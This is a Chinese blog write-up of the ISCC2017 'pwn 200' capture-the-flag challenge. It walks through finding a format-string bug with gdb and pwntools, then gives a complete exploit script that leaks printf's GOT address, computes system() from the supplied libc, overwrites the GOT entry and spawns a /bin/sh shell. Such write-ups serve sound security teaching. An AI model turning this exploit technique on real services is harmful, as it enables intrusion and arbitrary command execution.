• ISCC2017 pwn 200 —— 字符串格式化漏洞


    简介

      这是一道字符串格式化漏洞的题目,给了libc,直接字符串格式化漏洞泄露出地址,就可以算出system的地址,最后再写got表就行了

    伪代码

    int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
    {
      int v3; // [sp+14h] [bp-6Ch]@3
      int v4; // [sp+18h] [bp-68h]@5
      int v5; // [sp+7Ch] [bp-4h]@1
    
      v5 = *MK_FP(__GS__, 20);
      setbuf(stdout, 0);
      while ( 1 )
      {
        introduce();
        do
          __isoc99_scanf("%d", &v3);
        while ( (char *)(char)getchar() == "
    " );
        if ( v3 == 1 )
        {
          puts("please input your name:");
          gets((char *)&v4);
          printf((const char *)&v4);
          puts(",you are welcome!");
        }
        else if ( v3 == 2 )
        {
          puts("nothing!!!!lol");
        }
        else
        {
          puts("please,don't trick me");
        }
      }
    }

    最初一看,以为是缓冲区溢出,一直循环没返回啊,不是缓冲区溢出。

    原来输入直接传到了printf那里,可以利用字符串格式化漏洞

    漏洞利用

    计算偏移方法1

    我们先看看printf的偏移,输入AAAA调试一下

    gdb-peda$ b *0x08048618 
    Breakpoint 1 at 0x8048618
    gdb-peda$ r
    Starting program: /root/Desktop/iscc/pwn1 
    
    ++++Welcome to ziiiro's class!++++
    now you can do something:
    1.get your name
    2.heiheihei
    plz input$1
    please input your name:
    AAAA
    
    [----------------------------------registers-----------------------------------]
    EAX: 0xffffd618 ("AAAA")
    EBX: 0x0 
    ECX: 0xfbad2288 
    EDX: 0xf7fb087c --> 0x0 
    ESI: 0x1 
    EDI: 0xf7faf000 --> 0x1b2db0 
    EBP: 0xffffd688 --> 0x0 
    ESP: 0xffffd600 --> 0xffffd618 ("AAAA")
    EIP: 0x8048618 (<main+135>: call   0x80483e0 <printf@plt>)
    EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x804860c <main+123>:    call   0x80483f0 <gets@plt>
       0x8048611 <main+128>:    lea    eax,[esp+0x18]
       0x8048615 <main+132>:    mov    DWORD PTR [esp],eax
    => 0x8048618 <main+135>:    call   0x80483e0 <printf@plt>
       0x804861d <main+140>:    mov    DWORD PTR [esp],0x8048772
       0x8048624 <main+147>:    call   0x8048410 <puts@plt>
       0x8048629 <main+152>:    jmp    0x8048653 <main+194>
       0x804862b <main+154>:    mov    eax,DWORD PTR [esp+0x14]
    Guessed arguments:
    arg[0]: 0xffffd618 ("AAAA")
    [------------------------------------stack-------------------------------------]
    0000| 0xffffd600 --> 0xffffd618 ("AAAA")
    0004| 0xffffd604 --> 0xffffd614 --> 0x1 
    0008| 0xffffd608 --> 0xc30000 
    0012| 0xffffd60c --> 0xffffd724 --> 0xffffd848 ("/root/Desktop/iscc/pwn1")
    0016| 0xffffd610 --> 0xaffd000 
    0020| 0xffffd614 --> 0x1 
    0024| 0xffffd618 ("AAAA")
    0028| 0xffffd61c --> 0x8048200 --> 0x1a 
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    
    Breakpoint 1, 0x08048618 in main ()
    gdb-peda$ 

    我们看栈就行,我们看到我们可控的局部变量是printf的第7个参数,除去第一个格式化字符,就是偏移是6的位置

    [------------------------------------stack-------------------------------------]
    0000| 0xffffd600 --> 0xffffd618 ("AAAA")
    0004| 0xffffd604 --> 0xffffd614 --> 0x1 
    0008| 0xffffd608 --> 0xc30000 
    0012| 0xffffd60c --> 0xffffd724 --> 0xffffd848 ("/root/Desktop/iscc/pwn1")
    0016| 0xffffd610 --> 0xaffd000 
    0020| 0xffffd614 --> 0x1 
    0024| 0xffffd618 ("AAAA")
    0028| 0xffffd61c --> 0x8048200 --> 0x1a

    计算偏移方法2

    当然pwntools牛逼得很,直接可以算出来

    # -*- coding: utf-8 -*-
    from pwn import *
    def getoffset(payload):
        p = process("./pwn1")
        p.recvuntil("input$")
        p.sendline('1')
        p.recvuntil('please input your name:
    ')
        p.sendline(payload)
        info = p.recvuntil(",you")[:-4]
        p.close()
        return info
    autofmt = FmtStr(getoffset)
    print autofmt.offset

    运行结果

    root@kali:~/Desktop/iscc# python getoffset.py 
    [+] Starting local process './pwn1': pid 1918
    [*] Stopped process './pwn1' (pid 1918)
    [+] Starting local process './pwn1': pid 1920
    [*] Stopped process './pwn1' (pid 1920)
    [+] Starting local process './pwn1': pid 1922
    [*] Stopped process './pwn1' (pid 1922)
    [+] Starting local process './pwn1': pid 1924
    [*] Stopped process './pwn1' (pid 1924)
    [+] Starting local process './pwn1': pid 1926
    [*] Stopped process './pwn1' (pid 1926)
    [+] Starting local process './pwn1': pid 1928
    [*] Stopped process './pwn1' (pid 1928)
    [*] Found format string offset: 6
    6

    泄露printf的地址

    当然也可以泄露gets,puts的地址

    p.recvuntil("input$")
    p.sendline('1')
    p.recvuntil('please input your name:
    ')
    payload = p32(got_printf) + "%6$s"
    #print repr(payload)
    p.sendline(payload)
    printf_addr_and_xxx = p.recvuntil(",you")
    printf_addr = u32(printf_addr_and_xxx[4:8])
    print "printf_addr = " + hex(printf_addr)

    算出system的地址

    libc = ELF('./libc32.so')
    ......
    system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])
    print "system_addr = " + hex(system_addr)

    改写printf的got表

    利用gets函数传入/bin/sh,最终执行system(‘/bin/sh’)

    p.recvuntil("input$")
    p.sendline('1')
    p.recvuntil('please input your name:
    ')
    payload2 = fmtstr_payload(6, {got_printf: system_addr})  
    p.sendline(payload2)
    p.sendline('1')
    p.recvuntil('please input your name:
    ')
    p.sendline('/bin/sh')

    最终exp

    from pwn import *
    #context.log_level = 'debug'
    
    libc = ELF('./libc32.so')
    elf = ELF("./pwn1")
    
    got_printf = elf.got['printf']
    #print hex(got_printf)
    
    p = process("./pwn1")
    #p = remote("127.0.0.1", 10001)
    
    p.recvuntil("input$")
    p.sendline('1')
    p.recvuntil('please input your name:
    ')
    payload = p32(got_printf) + "%6$s"
    p.sendline(payload)
    printf_addr_and_xxx = p.recvuntil(",you")
    printf_addr = u32(printf_addr_and_xxx[4:8])
    print "printf_addr = " + hex(printf_addr)
    system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])
    print "system_addr = " + hex(system_addr)
    
    p.recvuntil("input$")
    p.sendline('1')
    p.recvuntil('please input your name:
    ')
    
    payload2 = fmtstr_payload(6, {got_printf: system_addr})  
    p.sendline(payload2)
    
    p.sendline('1')
    p.recvuntil('please input your name:
    ')
    p.sendline('/bin/sh')
    
    p.interactive()
  • 相关阅读:
    【马克-to-win】学习笔记—— 第五章 异常Exception
    【马克-to-win】—— 学习笔记
    Eclipse 日文乱码怎么解决Shift_JIS
    DB2设置code page(日文943)
    如何得到一个接口所有的实现类(及子接口)?例如:Eclipse IDE
    【VBA】随机数
    【VBA】利用Range声明Array(一维/二维)
    【VBA】Do While……Loop循环,遍历某列
    【58沈剑架构系列】DB主从一致性架构优化4种方法
    【58沈剑架构系列】主从DB与cache一致性
  • 原文地址:https://www.cnblogs.com/cnsec/p/13286507.html
Copyright © 2020-2023  润新知